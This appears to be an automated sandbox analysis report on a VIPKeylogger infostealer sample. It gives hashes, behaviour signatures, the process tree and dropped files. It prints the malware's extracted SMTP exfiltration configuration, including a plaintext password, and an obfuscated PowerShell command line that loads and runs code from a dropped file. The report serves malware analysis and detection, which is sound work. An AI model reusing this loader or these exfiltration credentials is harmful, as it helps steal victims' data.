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Analysis
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max time kernel
145s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
26/11/2024, 14:45
General
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Target
Viderefrt.exe
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Size
900KB
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MD5
1e4a711ecbfcd10f63990b50edbf0692
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SHA1
62f19187d9eba5260aa9d1b5753308de1a2ef392
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SHA256
bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c
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SHA512
3bff0107b8d0c5eaf0bfbe1336675cd38027f89daf7a58a11582f09861cd058d4f972f081b3bc971c12300526213307d7fef692e4b9f4bd85ba9bf3fac92aa55
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SSDEEP
12288:cXcxx2HCKsVidjk5m7eptd2naPiLutNS3haM78EQMZxmfemFXHW65zuYGTm4zeH:cX22iHKkSuE3l8Et2F2YuriH
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
Nachete#2018 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Viderefrt.exe"C:\Users\Admin\AppData\Local\Temp\Viderefrt.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Carraways=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Boligtilsyns.Ove';$Sprogten=$Carraways.SubString(50535,3);.$Sprogten($Carraways)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
76KB
MD5d0cc8701e797190b5bd9080582a4719a
SHA19a6cbebc33e66574c0260c4dfaecf4860ba74b14
SHA256a70deb41b76a2e4c8e503c7e35098605ad3d8a6a0607ce3461cda884b7446482
SHA512b0b9e00dd1579966b5b40cf8bdd2f12cb41031a97617dbd3eaa625e8b0f78533091025f3cce1e14bb708d8ea20812c2e5067ba852f674e7ae42a11488050c2e6
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Filesize
307KB
MD5ad726728a3878f89c5d7d0e28b919144
SHA1683f9278eb8c91224926b3e16af9a324885afbfa
SHA2566b51fce1ab49bc7f471df817f10b3f2d71aa1545c8529a7338766fa4a1c1c095
SHA51246773b723186eb2dde1c6f02262e932cc3051a4aa96c31993f26e7a51e893d3205f808fb6e8de8085895263c0327bbffec8c69a28e66718f366d318b53002712
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Filesize
18.3MB
-
Filesize
288KB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
18.3MB
-
Filesize
7.7MB
-
Filesize
32KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
104KB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
200KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
120KB
-
Filesize
652KB
-
Filesize
408KB
-
Filesize
40KB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
408KB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
62.6MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
7.7MB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB